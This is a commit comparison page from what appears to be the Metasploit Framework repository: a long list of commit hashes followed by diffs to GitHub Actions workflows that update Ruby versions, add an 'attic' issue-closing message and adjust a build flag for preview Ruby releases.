Compare commits
1059 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| b4991a97d0 | |||
| 01434662fa | |||
| a6e4d60457 | |||
| 297c484a1c | |||
| 1e2a5a5c11 | |||
| a0f04a7018 | |||
| d9e23a5c67 | |||
| 7f35abff86 | |||
| ddb1cc0497 | |||
| 0ff2ca4f40 | |||
| f608424242 | |||
| dfcb52d189 | |||
| d7b0e94729 | |||
| 11d3248532 | |||
| b15d595de2 | |||
| f0f2314da9 | |||
| 1e75365f8e | |||
| 7bebee0f42 | |||
| 3f0d0ee34c | |||
| fb8947aa49 | |||
| 4dc6e59fa3 | |||
| 7950db3358 | |||
| 5b638bb37b | |||
| 10c1b79c37 | |||
| 34f25fbb65 | |||
| 6b06b77b5a | |||
| 3236aaf6c3 | |||
| 27638d7409 | |||
| 5cb5c18550 | |||
| 917adffb83 | |||
| bd004e0831 | |||
| 3635ce9c03 | |||
| 420147d02e | |||
| 5261d842bc | |||
| c3a0b0b1cb | |||
| 025b37ce62 | |||
| d6911f6b13 | |||
| 2aea7b2fda | |||
| 0a9af48662 | |||
| c34779a5f1 | |||
| e61342afac | |||
| a3ea55f2a6 | |||
| 8edbf73b6f | |||
| b04ff3c579 | |||
| 5974801e14 | |||
| 1706812099 | |||
| a0bdbce3c9 | |||
| 00095fa495 | |||
| 56cba64e4a | |||
| d16f38a59c | |||
| 914818d372 | |||
| bfcd5d0466 | |||
| f959dee046 | |||
| 24ef4e1b90 | |||
| 81cf6c2a09 | |||
| 591fee1850 | |||
| c3aefe577b | |||
| ad0d3e79a9 | |||
| 88a539a82c | |||
| e3bdb7a917 | |||
| df4a03c79d | |||
| 3abcb3ebaa | |||
| ce19ce5b72 | |||
| 00aa2e63a0 | |||
| f1b5cd46f4 | |||
| 83dc8e9012 | |||
| d452f49f09 | |||
| ae48236d07 | |||
| da6cdd1d5b | |||
| 53a761a13d | |||
| f77e7db637 | |||
| 8d686e5a28 | |||
| 375a315b3d | |||
| d97c0fc8f7 | |||
| d968d92e53 | |||
| badb710940 | |||
| fa0e53775f | |||
| dfbd14ea5b | |||
| 859ff288fc | |||
| 085943bd78 | |||
| cc1b7db773 | |||
| 35f5b19512 | |||
| 1426a5c12e | |||
| 1dff3e5e26 | |||
| 028660384a | |||
| 50c675cc90 | |||
| 0c8dff1ab0 | |||
| 0aa0bbadd6 | |||
| 740fe5f6c9 | |||
| a967815397 | |||
| 795fae2b81 | |||
| 6772740f86 | |||
| afe359281c | |||
| ce2629d4e1 | |||
| 3e4b62a240 | |||
| f86f9c0440 | |||
| 36e0d8f915 | |||
| 3e999a1dc5 | |||
| 67f7a33d77 | |||
| 767b22f7ef | |||
| df0f7de098 | |||
| 0d0906840e | |||
| fb6ecdd2ab | |||
| 7da9ea07aa | |||
| fd89ac6893 | |||
| 1e7af0457a | |||
| cac515b8db | |||
| 46629ca1d2 | |||
| def6d644cc | |||
| df5b26ea3a | |||
| 65a4dd3c39 | |||
| 624643be4a | |||
| 60523c0f9b | |||
| 0f593d881c | |||
| bf1e6bddd1 | |||
| da34476a91 | |||
| f48dadff62 | |||
| 7aa1dafc1f | |||
| f641d64f2f | |||
| d68eb84334 | |||
| 9176d0d3e0 | |||
| b026b38851 | |||
| 977f8732c6 | |||
| a7ce4c7fa8 | |||
| 0f65368866 | |||
| 5157897412 | |||
| b5e028b47c | |||
| dfd450561e | |||
| a05bde217c | |||
| 4c73067dfe | |||
| 77bb6759a6 | |||
| 5f667e1d79 | |||
| a2c2a9193f | |||
| 5b9f22181a | |||
| e298788a28 | |||
| e2fc3c5eff | |||
| a8332e6064 | |||
| ace4c45c5d | |||
| 461240639c | |||
| 64b441be2a | |||
| 83e65b0ea3 | |||
| 969b5cd044 | |||
| 1b562dd02b | |||
| 2adea08f67 | |||
| 889407354a | |||
| 7cff25e639 | |||
| 52907ac794 | |||
| 10c6e6328f | |||
| 9d16b0043b | |||
| ea1641df85 | |||
| cd00585e12 | |||
| 957339b3c0 | |||
| 0609d246f3 | |||
| 6e438d338e | |||
| d63c14dc17 | |||
| 40bd729957 | |||
| 5d96b23d19 | |||
| 5611780d81 | |||
| b1d437dfe6 | |||
| 965a758b48 | |||
| c535d8081f | |||
| 2ac257bcef | |||
| f9b5ea75bc | |||
| 2a3cac051f | |||
| e49e70ce93 | |||
| 67225650de | |||
| 4f661ff230 | |||
| 0ca978fe9d | |||
| 44ffafcf62 | |||
| 2d800be5b1 | |||
| 9ef9f98894 | |||
| 8527eea15d | |||
| 92c15f8a6a | |||
| 5832685f5e | |||
| 8b91d729c4 | |||
| 381d291da9 | |||
| ddbd24554d | |||
| 16ef8c4eaa | |||
| 9e8a8d7c25 | |||
| 0555b4ada0 | |||
| 39c9355715 | |||
| 50832bef97 | |||
| 9776a6eb4a | |||
| a31a3513c1 | |||
| 5b77805d68 | |||
| ea34db64af | |||
| f014033321 | |||
| c168890902 | |||
| 03d59ba4e7 | |||
| 63abeb331d | |||
| d5a986a4bc | |||
| cee72a81e3 | |||
| bc61bbaf7f | |||
| 62fd3ec536 | |||
| 3010b565ce | |||
| 8da6f1efb9 | |||
| 5afba17a79 | |||
| c85b017c9e | |||
| 8f11798f5f | |||
| 95d05e0e9c | |||
| 552b76aa8f | |||
| e7bbd34e0d | |||
| 51dc30909a | |||
| c93adfb697 | |||
| 2632d33583 | |||
| 1823801510 | |||
| ae4faca1ba | |||
| 6988227ee4 | |||
| 3ee02a0e41 | |||
| 2a66987e39 | |||
| bec47e8b59 | |||
| 75d74d2e3c | |||
| dc5a42bd7d | |||
| 5b18475457 | |||
| 95f30d1f3f | |||
| 6f297a8619 | |||
| 69b7635f0f | |||
| 2d87447db7 | |||
| fb6bb4031c | |||
| d3fa7608db | |||
| ceb85e08c9 | |||
| b2d0cdaa28 | |||
| 00d1f03b8a | |||
| 966dec5b03 | |||
| 793e0887ff | |||
| f5f61ca508 | |||
| 9187b96756 | |||
| b9f260d0f7 | |||
| de07c2eae2 | |||
| 41429aec97 | |||
| d6a50acf83 | |||
| 1b35a9f916 | |||
| f30bc86c8a | |||
| fe737b55b9 | |||
| d414eea087 | |||
| 21b2e3a597 | |||
| 68c48ef984 | |||
| 968a151de9 | |||
| c98cc00de9 | |||
| efd49f07b0 | |||
| 7af22bfd41 | |||
| 5535401345 | |||
| cabae172f9 | |||
| 548d7e76a8 | |||
| 9f276bd727 | |||
| 38f542174d | |||
| 37bc9cd5a4 | |||
| 401820ddfb | |||
| 091ee36b44 | |||
| cbf7109c51 | |||
| 0d85c9e380 | |||
| c41483250f | |||
| 1af9660296 | |||
| 9e773b3f35 | |||
| 09ae3828d0 | |||
| fa33052cf8 | |||
| 1fbfc8e4d4 | |||
| 0b320f6209 | |||
| 9d315af25e | |||
| cb105d8978 | |||
| 7fe6b8f481 | |||
| 8d1e7a386c | |||
| 0761f8f729 | |||
| 96ba121973 | |||
| f97ab80224 | |||
| 14dc102e31 | |||
| ed516faa93 | |||
| 5b73c8fea1 | |||
| 4e4d09862e | |||
| bc2fb0c919 | |||
| 4479d94658 | |||
| c8f942cc03 | |||
| 7cd3854208 | |||
| 834ad18d28 | |||
| 668b72a4ca | |||
| ead8a99d79 | |||
| c33fe50bbb | |||
| b1477a8616 | |||
| afdcf76ef6 | |||
| a04b54486f | |||
| 00eed69b92 | |||
| db8a49cc99 | |||
| 417c9fa591 | |||
| 43003eefa8 | |||
| c9af514be4 | |||
| c579c43b72 | |||
| 0ba65b7393 | |||
| fce6450a95 | |||
| 4c817ce1de | |||
| 50dfde1f7a | |||
| 5dba72cf5e | |||
| c8609d7983 | |||
| 694c1006e4 | |||
| eab324714d | |||
| 7ab610c7bd | |||
| ae4e616c3b | |||
| 296a7afc86 | |||
| 66d2477d62 | |||
| caba471cfb | |||
| 1284cb39d0 | |||
| 27f5a789c9 | |||
| a1528556e0 | |||
| 31c65c8a35 | |||
| 039f238dd4 | |||
| dfc366e022 | |||
| 3e538a34af | |||
| dce2965d3f | |||
| 4b082b997b | |||
| 238118e8b5 | |||
| 2acc014014 | |||
| 47835b57a7 | |||
| 5b5c29842c | |||
| d8870d7876 | |||
| 92cf562950 | |||
| 55e67ac5cd | |||
| 229fc0c002 | |||
| c08f1971cc | |||
| 601306b795 | |||
| a1e930397a | |||
| 0bcd930f61 | |||
| b3b0cb4ccf | |||
| 717ceae45b | |||
| 6030f75b1a | |||
| d454e23aa0 | |||
| 74dd134783 | |||
| 4465582fee | |||
| 3bc145c02c | |||
| 2738906f87 | |||
| 54649fb856 | |||
| 4377ff037a | |||
| 60c642bcd0 | |||
| e3bcc9ac08 | |||
| 72102de2f2 | |||
| 5b39eaafc1 | |||
| dbc7a8cb61 | |||
| 23451260af | |||
| b923b0c8c3 | |||
| ffbd690a33 | |||
| 8f6b421dc1 | |||
| d3c662b42b | |||
| 82c8b5418e | |||
| 991b9604e5 | |||
| aa1a014d89 | |||
| f88cb3b847 | |||
| 46fcdb76d5 | |||
| 4950cb3424 | |||
| 2fcd97f5ef | |||
| 102a32c87b | |||
| 3b53966caa | |||
| 451735ad15 | |||
| a03603d076 | |||
| 2e34d69133 | |||
| 18ddd72285 | |||
| ec948b5c16 | |||
| a34c3cf055 | |||
| 3e6ae74886 | |||
| e6b1ae2af8 | |||
| 5f7ae883f8 | |||
| a12b58df22 | |||
| 61539ac260 | |||
| 80e14846fe | |||
| 0d094f8645 | |||
| d029b26b4f | |||
| 52745a96d7 | |||
| 94ef437f9f | |||
| 9574c79d36 | |||
| 70d0b5eee6 | |||
| 6f2f51bdc3 | |||
| 00e39eb540 | |||
| 4e91a4e93d | |||
| ba3d6dc0f9 | |||
| 12f59d54df | |||
| c5ff96fdfe | |||
| 07def1c9f0 | |||
| 795980260b | |||
| 1c5f8e09c8 | |||
| 8f3325bcf8 | |||
| 1a36b81ba0 | |||
| c9627a7274 | |||
| 734e0b099e | |||
| 7a2505e6f8 | |||
| 1e9d286c77 | |||
| 7728e1e2fb | |||
| 617aff5a43 | |||
| f7d2cdae56 | |||
| 965311d09e | |||
| 6e89f9b275 | |||
| 3ab4173d6c | |||
| 8577f21e52 | |||
| 05bb3cd182 | |||
| c78a9bac1d | |||
| 6d066dc649 | |||
| 372f9cdcfc | |||
| 93614513ec | |||
| 8b641c4c97 | |||
| a6f1be8efd | |||
| 48b86c2578 | |||
| 4661e9721e | |||
| f8460dcdd2 | |||
| da2e339ae8 | |||
| a66641da55 | |||
| 0f71613b66 | |||
| 9b929dab14 | |||
| 7f7c5ea1f1 | |||
| f6dc2c007a | |||
| c6816fceec | |||
| d535bb87ad | |||
| 25e8cf8faf | |||
| 96f2c96a75 | |||
| 4183cd444d | |||
| 068e0f5192 | |||
| 2c987da8e1 | |||
| 8ed981e575 | |||
| 8378435051 | |||
| c336f179d6 | |||
| d868d0ec14 | |||
| 4340245b14 | |||
| 46f7f8e7b0 | |||
| 7f4bda193d | |||
| 9349dd24e3 | |||
| 2a410e126d | |||
| 1267d067b3 | |||
| ab12bee83e | |||
| 3875947f7d | |||
| d60f21df24 | |||
| 0e477bdc9a | |||
| 2fab56f905 | |||
| 6756047f1f | |||
| ccbdd7870e | |||
| 6351c66b1e | |||
| 6ad9ebb5c0 | |||
| 1fd2d41835 | |||
| 1fbba702de | |||
| 4b1158d5f1 | |||
| cf9f9905e3 | |||
| 778a2c47b7 | |||
| c0671c325a | |||
| d7098aa06d | |||
| 8a0dfa57a0 | |||
| 530ed911f4 | |||
| b376dac34b | |||
| cbf850b2b7 | |||
| 3d63d0b097 | |||
| 42d4c73cda | |||
| 490a30aa4a | |||
| d194cf28eb | |||
| 4da004938f | |||
| 002c575ee1 | |||
| ef89219715 | |||
| 7bde39ae73 | |||
| e2718eb40c | |||
| 568e346d11 | |||
| a94f78ec03 | |||
| a5171ffa3a | |||
| d74b221df3 | |||
| b575f92d0a | |||
| 0b9aff0661 | |||
| 1018ed1aaf | |||
| b9038bfbfb | |||
| fa6d168121 | |||
| bebf8d4db8 | |||
| 5f308e0176 | |||
| 01359e77a7 | |||
| 0ccfa4af87 | |||
| 489421f6be | |||
| cf2ca434a8 | |||
| 93479be5e6 | |||
| 573eb4bda4 | |||
| f5bec517a0 | |||
| 00451e3aec | |||
| 9528339761 | |||
| 250a8768e3 | |||
| 61c4ba7503 | |||
| 376ef7a8bc | |||
| 48207dd9f1 | |||
| d8255157c9 | |||
| 72ef6537ef | |||
| cb8d86651d | |||
| b11b31c9ae | |||
| 1d98cb0069 | |||
| 8368b80ad6 | |||
| 217df628df | |||
| 39b45694af | |||
| 2879dcaf14 | |||
| 7215b88bad | |||
| 75ba9110e2 | |||
| 9f0032582a | |||
| 7c2790513d | |||
| 7ca7c6aee1 | |||
| e80987ea59 | |||
| e78cf054b8 | |||
| 84961e6e09 | |||
| 9e8d1ed2ea | |||
| 155319d479 | |||
| 3faf96aa9d | |||
| 5ded2adfb5 | |||
| d00d339de5 | |||
| 1c57019096 | |||
| 9c58289b21 | |||
| 0aee634d67 | |||
| 240fd65d0c | |||
| 623657b072 | |||
| 42ef5ad322 | |||
| 3a685849a8 | |||
| b327809450 | |||
| e542c50154 | |||
| ed5d516c21 | |||
| afb31b0f21 | |||
| e749945b01 | |||
| 5189c7af83 | |||
| 9e38ed4459 | |||
| 3e327efdc4 | |||
| 120dc877ad | |||
| 0205bb36d3 | |||
| f89de600be | |||
| 6b101b5a4d | |||
| 1eb6996ea5 | |||
| 4dcfe0a1cf | |||
| d9cbe065ce | |||
| 60f6574bf3 | |||
| e27a08a073 | |||
| 0a3247f1a7 | |||
| e3823691a1 | |||
| ae430ff3db | |||
| 5a96979363 | |||
| 8258657a45 | |||
| a88751167b | |||
| ff4fafda2f | |||
| 3af052390d | |||
| 49fd6e876a | |||
| 1ffefcbea4 | |||
| d23f407c44 | |||
| dcbc6d19c5 | |||
| f1468a83ed | |||
| 7a9f13c960 | |||
| 4b3d6b59cc | |||
| dc11d818aa | |||
| 3dc9438b3a | |||
| 33e59a291e | |||
| e0e214e241 | |||
| ed026e52eb | |||
| fffc7f514d | |||
| c42905fe92 | |||
| d07f2ed633 | |||
| b077167d73 | |||
| a8fd4e7aba | |||
| 9dd10d6df7 | |||
| 8d131f0a95 | |||
| 428229aede | |||
| 61569a0b2e | |||
| f464401dde | |||
| de6e26de8e | |||
| 548a2d7ab4 | |||
| 26daa65c58 | |||
| 39f4ccd9f9 | |||
| 3e32c0e22d | |||
| 4df7551759 | |||
| 6c88e85d02 | |||
| 2c0dc61bd2 | |||
| d4b9473294 | |||
| 21273648a4 | |||
| 6882a7cc60 | |||
| 62f48c5933 | |||
| ab0b8b8274 | |||
| 73a33a9f73 | |||
| 775173381c | |||
| 9c888da5cb | |||
| 49e7c2459f | |||
| 9a732a881b | |||
| 789646dd65 | |||
| 0bc1fdf51d | |||
| 10dd1b8906 | |||
| 6a846c2c94 | |||
| e1a9f61ad9 | |||
| f15c9a0bbb | |||
| 4f70be41ae | |||
| 0bf5746bde | |||
| 6fdc86db19 | |||
| 2ca5ca1f63 | |||
| f929d2c90f | |||
| 713ec6ae76 | |||
| 571e3d5e99 | |||
| 82bf51647d | |||
| 459cf871cb | |||
| 6bee4f56d9 | |||
| 560fc9000b | |||
| ea988f0c78 | |||
| 3b2d23eeae | |||
| b7b1df23ea | |||
| 04e6bf804f | |||
| 0e9060e295 | |||
| 3c0222d7d0 | |||
| f40a2e8dbc | |||
| c723a2865e | |||
| 2e5b38e718 | |||
| 3036a53697 | |||
| f6855f6aa4 | |||
| f46967e2c4 | |||
| 004a72c32e | |||
| b752735db1 | |||
| cf5f90ac4f | |||
| 722de33b6f | |||
| 20ac531254 | |||
| ff1331c11b | |||
| d24f5873bd | |||
| 484639a2e0 | |||
| a445b07233 | |||
| 131f2519bc | |||
| 3ffd072852 | |||
| fa6a5e24f0 | |||
| 63ffb850dd | |||
| eb959e2e40 | |||
| e3e23d3d7c | |||
| 020ee7ca5c | |||
| d8dd9bbe79 | |||
| dbda20d40b | |||
| fe63d80679 | |||
| 55de00911f | |||
| c43eaf86bc | |||
| d50bd24c2f | |||
| cb2c6a7d80 | |||
| 9f6a1c18a1 | |||
| e92695149d | |||
| 9f0a6503b7 | |||
| 5d4e68d36c | |||
| 1b8f1de7c8 | |||
| 62e59e6250 | |||
| e742df1c33 | |||
| e514de9aef | |||
| 87ba25c706 | |||
| cfea6530a1 | |||
| d50993cd80 | |||
| daee69e1d0 | |||
| a485a786ef | |||
| 4f8024454c | |||
| c5b0bc68d7 | |||
| eff189f221 | |||
| 43564b5267 | |||
| 79d35ad938 | |||
| eca87ea2eb | |||
| 348750ea70 | |||
| 07056a74bc | |||
| 908f7ad3f3 | |||
| d60843f0eb | |||
| 08a79a2f4e | |||
| d1e3ce1183 | |||
| 4e85f9e4da | |||
| 6dbee6e6f6 | |||
| bc25907d1e | |||
| cdab415ffb | |||
| 12911d10fb | |||
| 4fa6022adb | |||
| 89889d5e79 | |||
| f773d348e1 | |||
| c221edb1ec | |||
| 0ace550537 | |||
| 51ab9746fb | |||
| c69ca39748 | |||
| 0448d408ea | |||
| af3c482acd | |||
| e37e506fe2 | |||
| f04dababa2 | |||
| e692e927dc | |||
| f27648799b | |||
| 5f12f0e0ba | |||
| 069ad805c1 | |||
| b8856bbb87 | |||
| 19651633c4 | |||
| 9fa0dac56c | |||
| adec2f4fbb | |||
| 3b66b3416f | |||
| 8c7ae1b6bb | |||
| c088430bd9 | |||
| f27fc28411 | |||
| 9b596b3efd | |||
| 1c6c1dffc6 | |||
| 9fe7db4648 | |||
| 86b7f97421 | |||
| aede036b02 | |||
| 8871b2955b | |||
| ba687c49aa | |||
| a5e86a0c51 | |||
| 0fd743d851 | |||
| dd075d5c99 | |||
| a2cf29ab98 | |||
| 61d1cf1460 | |||
| d5032f0a5d | |||
| e639460b9f | |||
| 32796b429b | |||
| 47d374497a | |||
| 3b0d8b850b | |||
| 9f68a5f8d1 | |||
| 783a1eb504 | |||
| e5c636f931 | |||
| 184ad67f79 | |||
| b01c4d37f7 | |||
| bf61718fe6 | |||
| 818bd4837e | |||
| 2059505ccd | |||
| 3bf01f2cf2 | |||
| 67694c1ef7 | |||
| c6547737a6 | |||
| ed9b9cc502 | |||
| 0c0ae00149 | |||
| 95562e04aa | |||
| 5b080f20b6 | |||
| 0a85cba56d | |||
| 092e4f93ad | |||
| 152f9460f9 | |||
| cf6b309904 | |||
| b90b0a75c6 | |||
| 7ec7a4c607 | |||
| 40474ed88c | |||
| ca0739b3b2 | |||
| 41c75c2e30 | |||
| 22441f1064 | |||
| 5169174c45 | |||
| 3e81408a24 | |||
| e3e82f0db2 | |||
| d3a903b8b3 | |||
| e3963a2e5c | |||
| 60149259a2 | |||
| 6fa21d130f | |||
| f5b1b96d9a | |||
| 62806caeae | |||
| 867902e7d0 | |||
| cfb21e3de2 | |||
| 680ccbfe2f | |||
| f6e1fcdd90 | |||
| f6725dfc4e | |||
| 97a76e3883 | |||
| 4ba8d62d88 | |||
| c0be991ed8 | |||
| 9f2105c06d | |||
| 61a8481a0f | |||
| 12f7134cc6 | |||
| 36f9025cea | |||
| 601d9cef96 | |||
| 4d98499766 | |||
| 63115c9415 | |||
| 16ae6b71f4 | |||
| feec15a482 | |||
| ec5858c198 | |||
| 9c8bc4e124 | |||
| 0be38eb3ab | |||
| 5e93669d75 | |||
| 9f6fe964e2 | |||
| 8694beebd1 | |||
| 03fcfa7559 | |||
| 4b33fc5d64 | |||
| 0cf5f4cacc | |||
| bcafd22997 | |||
| 8c87660eaa | |||
| 22238a0860 | |||
| 8ab37b0b07 | |||
| bb782a7120 | |||
| 7a1f761e84 | |||
| d454b2e195 | |||
| 8a9871f0d8 | |||
| a229a0ed86 | |||
| 17271f1046 | |||
| 2dc5a94ab7 | |||
| 1a823b05f1 | |||
| c9a9b998d2 | |||
| 10577cf1e4 | |||
| 8f13040ce0 | |||
| e646c0c6e2 | |||
| e7725e7b6d | |||
| 6aad398e2b | |||
| e7c05eabe3 | |||
| 447f36ee37 | |||
| a8043adef0 | |||
| 9215488d31 | |||
| b052386700 | |||
| 3036b607b6 | |||
| df6c2bf7eb | |||
| e565a8f962 | |||
| 708da64a68 | |||
| 20109932fd | |||
| 5a57ea131e | |||
| 3a4cb3560f | |||
| d797e5ec2c | |||
| 5132302363 | |||
| 5b94077421 | |||
| 538381bd4d | |||
| 076760e011 | |||
| d6c2e4f528 | |||
| 8c15c31b56 | |||
| 0436e8bad9 | |||
| 365b7c099c | |||
| c39751094a | |||
| eb4107b5e2 | |||
| f35b9e4fa5 | |||
| 0908c85f1b | |||
| 253f4e54bc | |||
| f1602dd772 | |||
| 17f674e3fa | |||
| 04df1ef7e8 | |||
| b224fd3ff3 | |||
| 896058a147 | |||
| d6e921c414 | |||
| ea9019600a | |||
| ecd56c7904 | |||
| 4131f1abf1 | |||
| 2e3a2b6f6d | |||
| 59b3c0e945 | |||
| a7d8bc6757 | |||
| 15ff4875bc | |||
| f6c8181b7f | |||
| 8e77b70c99 | |||
| a2f3a719a9 | |||
| d875741c87 | |||
| 35c7d3918d | |||
| 61cfd770ed | |||
| 9c9eac28a7 | |||
| ec025cbeda | |||
| 34a6980e5e | |||
| 4cb9a4c142 | |||
| 246de78f85 | |||
| 9563466037 | |||
| bd286dd147 | |||
| de18ed438a | |||
| 898a9f2f3d | |||
| a2c23d18ef | |||
| 2de950c244 | |||
| de9cd59ea5 | |||
| d8c8255120 | |||
| 8ac5ae2a68 | |||
| 40613a4741 | |||
| b65d3252e9 | |||
| 2eaa31c402 | |||
| 6ae00877ed | |||
| 1b72de063e | |||
| 7eb799bc89 | |||
| 7667499011 | |||
| e4ae9e0997 | |||
| 413082a4d6 | |||
| d17ab39748 | |||
| e874731781 | |||
| 78e80f8e32 | |||
| 162fe21659 | |||
| d4b668e27b | |||
| e54d602d4c | |||
| db853f9a68 | |||
| a4e1952da3 | |||
| 97c0fa7411 | |||
| a05aae3ebe | |||
| 6984c6c7d4 | |||
| cf68410e0e | |||
| dec705cc2a | |||
| 396a4b90cc | |||
| 3b710293f5 | |||
| c1df987c0b | |||
| e54774fd20 | |||
| 2c7d54da2f | |||
| 32b6741cd8 | |||
| 169d86e9ae | |||
| 37130e5a3d | |||
| 4b176c8ef5 | |||
| 879f94571e | |||
| 1e23dffc5b | |||
| 19c79bed18 | |||
| 71a058b555 | |||
| 66e58e395c | |||
| 246a69e897 | |||
| da5a361d3f | |||
| 2d90bdcecb | |||
| db08c5df11 | |||
| 4be8cd3752 | |||
| 89a564c378 | |||
| b01b3a5ecd | |||
| 9a23e63365 | |||
| 6039affe0d | |||
| da93c9440f | |||
| 3d49b4b429 | |||
| 513779fd3f | |||
| c4e29eaa94 | |||
| cda2e9610b | |||
| ace2f42387 | |||
| f9bbf32447 | |||
| 5d05754d9b | |||
| afce19d378 | |||
| e6211175b3 | |||
| b5ea420760 | |||
| e0926890ab | |||
| 5584685f24 | |||
| 2c8ad1f158 | |||
| b9cb33598c | |||
| 08788d3d82 | |||
| fae910eb6b | |||
| b7f46aab99 | |||
| cc0a32cdda | |||
| f9d5459a9c | |||
| 90dacd00ab | |||
| 8377cb7d6d | |||
| ae87f35944 | |||
| 7feeb25ee1 | |||
| aef2b8d314 | |||
| 8cc6b88071 | |||
| d19c9e7732 | |||
| 0ed25cd2cc | |||
| 7a4fc4b58b | |||
| 9194e66737 | |||
| 0e3a341ac9 | |||
| 30cf40a4f1 | |||
| bc57131b73 | |||
| 7ad6c425c0 | |||
| 87c0faa73a | |||
| 0dd8f94b31 | |||
| fef3796d43 | |||
| 8e2169ed47 | |||
| e8365aba85 | |||
| 275963eca2 | |||
| 43bfdcd6b4 | |||
| 4ed5c59cf2 | |||
| a6b478e046 | |||
| 0a0b11491a | |||
| a313e36c1d | |||
| e6c1aecd26 | |||
| 585479474b | |||
| e3983eac1f | |||
| 29c24438a6 | |||
| 6119330e29 | |||
| 7dc1faa689 | |||
| 59ff65d58d | |||
| 875ad34b62 | |||
| 375d9b34f1 | |||
| b01e3ca324 | |||
| 0022d0b8c3 | |||
| b9f3d2b1d5 | |||
| 0af2f00ca0 | |||
| 1dc8eb2802 | |||
| 296fd6fec7 | |||
| 70018f7543 | |||
| 5c1057dd58 | |||
| 657c1446c4 | |||
| fa1e7ae016 | |||
| 3b7cf035ea | |||
| 8525849763 | |||
| a2d2946007 | |||
| 18170babc2 | |||
| 1a8671311d | |||
| 02072418f0 | |||
| eec0e71dd7 | |||
| 056b0a0e8b | |||
| 599c8609a7 | |||
| 42902bb5e5 | |||
| 665ba4aece | |||
| 9985538846 | |||
| 79d4021f31 | |||
| 544fb8ead6 | |||
| ce111f158a | |||
| d92fc41d29 | |||
| 4984a3e2d3 | |||
| 261fc5227d | |||
| b05c9c6303 | |||
| 3c7c2f1fbe | |||
| d08fa00c06 | |||
| 67b98b5120 | |||
| 43fe41bea5 | |||
| f0189cc886 | |||
| 656c562816 | |||
| cc79fe039a | |||
| b7456e20d5 | |||
| 523931aa4c | |||
| c345fe78b8 | |||
| c07ca83d6c | |||
| 04a9ae7335 | |||
| c22c2904c2 | |||
| e004be00fe | |||
| 452daf0b64 | |||
| 5d63175b56 | |||
| 653234e1d0 | |||
| 818046c6dd | |||
| 769e2e760c | |||
| c3a7da54d5 | |||
| 40e6917b7f | |||
| 8b3d799104 | |||
| 05d9e7f9d6 | |||
| 917bbbc9e0 | |||
| c93a4d0e30 | |||
| 2a0221a7ed | |||
| 2de5d4324f | |||
| 7058d4c8ad | |||
| 9af0f5ca0c | |||
| a6159ccda5 | |||
| f7cee703ce | |||
| 728e1f1ea2 | |||
| 2b90337947 | |||
| ffea12fe2c | |||
| a853efb05f | |||
| c12ef82d35 | |||
| 057fd1b74b | |||
| b3d4812416 | |||
| a54f3d4707 | |||
| 812d3c7f35 | |||
| 18cfc42cb0 | |||
| e112c9b610 | |||
| 51fb3335c7 | |||
| b82bb572ca | |||
| a95ae383d0 | |||
| 6fdbc0b903 | |||
| c41d44ac3c | |||
| 2711ba4b3a | |||
| eb12cfec05 | |||
| 3aabb738bf | |||
| 7cb6213334 | |||
| 54ed192401 | |||
| 4cab9b1a34 | |||
| 41fe44ef1a | |||
| 6897be4b01 | |||
| abe5570902 | |||
| 8572053f0c | |||
| a67e894609 | |||
| 4ecf222c95 | |||
| 5a1fdbab50 | |||
| 58951196bc | |||
| 3d3e3195a3 | |||
| 351b62cca6 | |||
| f73249f709 | |||
| 028cc8a909 | |||
| 9d60480d4e | |||
| 90d4b660f7 | |||
| 9c20d0f84b | |||
| 0a6ac589e4 | |||
| 0f5f495108 | |||
| a2026182e1 | |||
| ef53e3c52e | |||
| a215d64574 | |||
| 8aef054dfd | |||
| 153f950f11 | |||
| 7e19141dfc | |||
| 687e82a9ed | |||
| 61c2726620 | |||
| 27d6a89b99 | |||
| 453baca109 | |||
| 589c2257e3 | |||
| 3e54ae6e69 | |||
| 99b2e1d709 | |||
| 14f992aa88 | |||
| 274bf6dcb7 | |||
| b67f001e2a | |||
| 1afecd0884 | |||
| 990d5ccfad | |||
| 16c176dbe0 | |||
| a368f76a2a | |||
| 60bfa329fa | |||
| 60c2f0a480 | |||
| 955fb2ef3e | |||
| eba4c4b047 | |||
| 7666b30b82 | |||
| 46c030a08b | |||
| 43d746c404 | |||
| c733dbc906 | |||
| cfc24f138a | |||
| 9850534d55 | |||
| 3624bee263 | |||
| a3c82246a7 | |||
| 6d676e9ac5 |
@@ -38,7 +38,7 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '2.7'
|
||||
- '3.0'
|
||||
|
||||
name: Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
|
||||
@@ -191,6 +191,14 @@ jobs:
|
||||
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
|
||||
`
|
||||
},
|
||||
attic: {
|
||||
close: true,
|
||||
comment: `
|
||||
Thanks for your contribution to Metasploit Framework! We've looked at this issue, and unfortunately we do not currently have the bandwidth to prioritize this issue.
|
||||
|
||||
We've labeled this as \`attic\` and closed it for now. If you believe this issue has been closed in error, or that it should be prioritized, please comment with additional information.
|
||||
`
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -35,7 +35,7 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '2.7'
|
||||
- '3.0'
|
||||
|
||||
name: Lint msftidy
|
||||
steps:
|
||||
|
||||
@@ -64,15 +64,14 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '2.7'
|
||||
- '3.0'
|
||||
- '3.1'
|
||||
- '3.2'
|
||||
- '3.3.0-preview1'
|
||||
os:
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
exclude:
|
||||
- { os: ubuntu-latest, ruby: '2.7' }
|
||||
- { os: ubuntu-latest, ruby: '3.0' }
|
||||
include:
|
||||
- os: ubuntu-latest
|
||||
@@ -99,6 +98,8 @@ jobs:
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
|
||||
@@ -40,7 +40,7 @@ jobs:
|
||||
const hasPR = await github.rest.pulls.list({
|
||||
owner,
|
||||
repo,
|
||||
head: owner + ':' + '${{ github.ref_name }}'
|
||||
head: owner + ':' + '${{ github.ref_name }}'
|
||||
});
|
